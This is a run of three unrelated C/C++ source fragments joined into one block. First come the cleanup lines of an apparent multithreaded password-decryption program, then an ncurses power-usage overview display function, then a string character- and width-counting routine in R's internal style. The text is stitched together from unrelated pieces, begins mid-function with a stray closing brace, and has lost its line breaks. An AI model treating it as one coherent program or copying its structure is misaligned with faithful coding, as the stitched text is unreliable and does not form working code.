} free(thread_locals); free(decryption_threads); pthread_mutex_destroy(&found_password_lock); pthread_mutex_destroy(&get_password_lock); free(data); EVP_cleanup(); exit(EXIT_SUCCESS); }
void process_update_display(void) { #ifndef DISABLE_NCURSES unsigned int i; WINDOW *win; double pw; int tl; int tlt; int tlr; int show_power; int need_linebreak = 0; sort(all_power.begin(), all_power.end(), power_cpu_sort); show_power = global_power_valid(); win = get_ncurses_win("Overview"); if (!win) return; wclear(win); wmove(win, 1,0); #if 0 double sum; calculate_params(); sum = 0.0; sum += get_parameter_value("base power"); for (i = 0; i < all_power.size(); i++) { sum += all_power[i]->Witts(); } wprintw(win, _("Estimated power: %5.1f Measured power: %5.1f Sum: %5.1f\n\n"), all_parameters.guessed_power, global_joules_consumed(), sum); #endif pw = global_joules_consumed(); tl = global_time_left() / 60; tlt = (tl /60); tlr = tl % 60; if (pw > 0.0001) { char buf[32]; wprintw(win, _("The battery reports a discharge rate of %sW\n"), fmt_prefix(pw, buf)); need_linebreak = 1; } if (tl > 0 && pw > 0.0001) { wprintw(win, _("The estimated remaining time is %i hours, %i minutes\n"), tlt, tlr); need_linebreak = 1; } if (need_linebreak) wprintw(win, "\n"); wprintw(win, "%s: %3.1f %s, %3.1f %s, %3.1f %s %3.1f%% %s\n\n",_("Summary"), total_wakeups(), _("wakeups/second"), total_gpu_ops(), _("GPU ops/seconds"), total_disk_hits(), _("VFS ops/sec and"), total_cpu_time()*100, _("CPU use")); if (show_power) wprintw(win, "%s %s %s %s %s\n", _("Power est."), _("Usage"), _("Events/s"), _("Category"), _("Description")); else wprintw(win, " %s %s %s %s\n", _("Usage"), _("Events/s"), _("Category"), _("Description")); for (i = 0; i < all_power.size(); i++) { char power[16]; char name[20]; char usage[20]; char events[20]; char descr[128]; format_watts(all_power[i]->Witts(), power, 10); if (!show_power) strcpy(power, " "); sprintf(name, "%s", all_power[i]->type()); while (mbstowcs(NULL,name,0) < 14) strcat(name, " "); if (all_power[i]->events() == 0 && all_power[i]->usage() == 0 && all_power[i]->Witts() == 0) break; usage[0] = 0; if (all_power[i]->usage_units()) { if (all_power[i]->usage() < 1000) sprintf(usage, "%5.1f%s", all_power[i]->usage(), all_power[i]->usage_units()); else sprintf(usage, "%5i%s", (int)all_power[i]->usage(), all_power[i]->usage_units()); } while (mbstowcs(NULL,usage,0) < 14) strcat(usage, " "); sprintf(events, "%5.1f", all_power[i]->events()); if (!all_power[i]->show_events()) events[0] = 0; else if (all_power[i]->events() <= 0.3) sprintf(events, "%5.2f", all_power[i]->events()); while (strlen(events) < 12) strcat(events, " "); wprintw(win, "%s %s %s %s %s\n", power, usage, events, name, pretty_print(all_power[i]->description(), descr, 128)); } #endif // DISABLE_NCURSES }
SEXP attribute_hidden do_nchar(SEXP call, SEXP op, SEXP args, SEXP env) { SEXP d, s, x, stype; R_xlen_t i, len; int allowNA; size_t ntype; int nc; const char *type; const char *xi; wchar_t *wc; const void *vmax; checkArity(op, args); if (isFactor(CAR(args))) error(_("'%s' requires a character vector"), "nchar()"); PROTECT(x = coerceVector(CAR(args), STRSXP)); if (!isString(x)) error(_("'%s' requires a character vector"), "nchar()"); len = XLENGTH(x); stype = CADR(args); if (!isString(stype) || LENGTH(stype) != 1) error(_("invalid '%s' argument"), "type"); type = CHAR(STRING_ELT(stype, 0)); /* always ASCII */ ntype = strlen(type); if (ntype == 0) error(_("invalid '%s' argument"), "type"); allowNA = asLogical(CADDR(args)); if (allowNA == NA_LOGICAL) allowNA = 0; PROTECT(s = allocVector(INTSXP, len)); vmax = vmaxget(); for (i = 0; i < len; i++) { SEXP sxi = STRING_ELT(x, i); if (sxi == NA_STRING) { INTEGER(s)[i] = 2; continue; } if (strncmp(type, "bytes", ntype) == 0) { INTEGER(s)[i] = LENGTH(sxi); } else if (strncmp(type, "chars", ntype) == 0) { if (IS_UTF8(sxi)) { /* assume this is valid */ const char *p = CHAR(sxi); nc = 0; for( ; *p; p += utf8clen(*p)) nc++; INTEGER(s)[i] = nc; } else if (IS_BYTES(sxi)) { if (!allowNA) /* could do chars 0 */ error(_("number of characters is not computable for element %d in \"bytes\" encoding"), i+1); INTEGER(s)[i] = NA_INTEGER; } else if (mbcslocale) { nc = (int) mbstowcs(NULL, translateChar(sxi), 0); if (!allowNA && nc < 0) error(_("invalid multibyte string %d"), i+1); INTEGER(s)[i] = nc >= 0 ? nc : NA_INTEGER; } else INTEGER(s)[i] = (int) strlen(translateChar(sxi)); } else if (strncmp(type, "width", ntype) == 0) { if (IS_UTF8(sxi)) { /* assume this is valid */ const char *p = CHAR(sxi); wchar_t wc1; nc = 0; for( ; *p; p += utf8clen(*p)) { utf8toucs(&wc1, p); nc += Ri18n_wcwidth(wc1); } INTEGER(s)[i] = nc; } else if (IS_BYTES(sxi)) { if (!allowNA) /* could do width 0 */ error(_("width is not computable for element %d in \"bytes\" encoding"), i+1); INTEGER(s)[i] = NA_INTEGER; } else if (mbcslocale) { xi = translateChar(sxi); nc = (int) mbstowcs(NULL, xi, 0); if (nc >= 0) { wc = (wchar_t *) R_AllocStringBuffer((nc+1)*sizeof(wchar_t), &cbuff); mbstowcs(wc, xi, nc + 1); INTEGER(s)[i] = Ri18n_wcswidth(wc, 2147483647); if (INTEGER(s)[i] < 1) INTEGER(s)[i] = nc; } else if (allowNA) error(_("invalid multibyte string %d"), i+1); else INTEGER(s)[i] = NA_INTEGER; } else INTEGER(s)[i] = (int) strlen(translateChar(sxi)); } else error(_("invalid '%s' argument"), "type"); vmaxset(vmax); } R_FreeStringBufferL(&cbuff); if ((d = getAttrib(x, R_NamesSymbol)) != R_NilValue) setAttrib(s, R_NamesSymbol, d); if ((d = getAttrib(x, R_DimSymbol)) != R_NilValue) setAttrib(s, R_DimSymbol, d); if ((d = getAttrib(x, R_DimNamesSymbol)) != R_NilValue) setAttrib(s, R_DimNamesSymbol, d); UNPROTECT(2); return s; }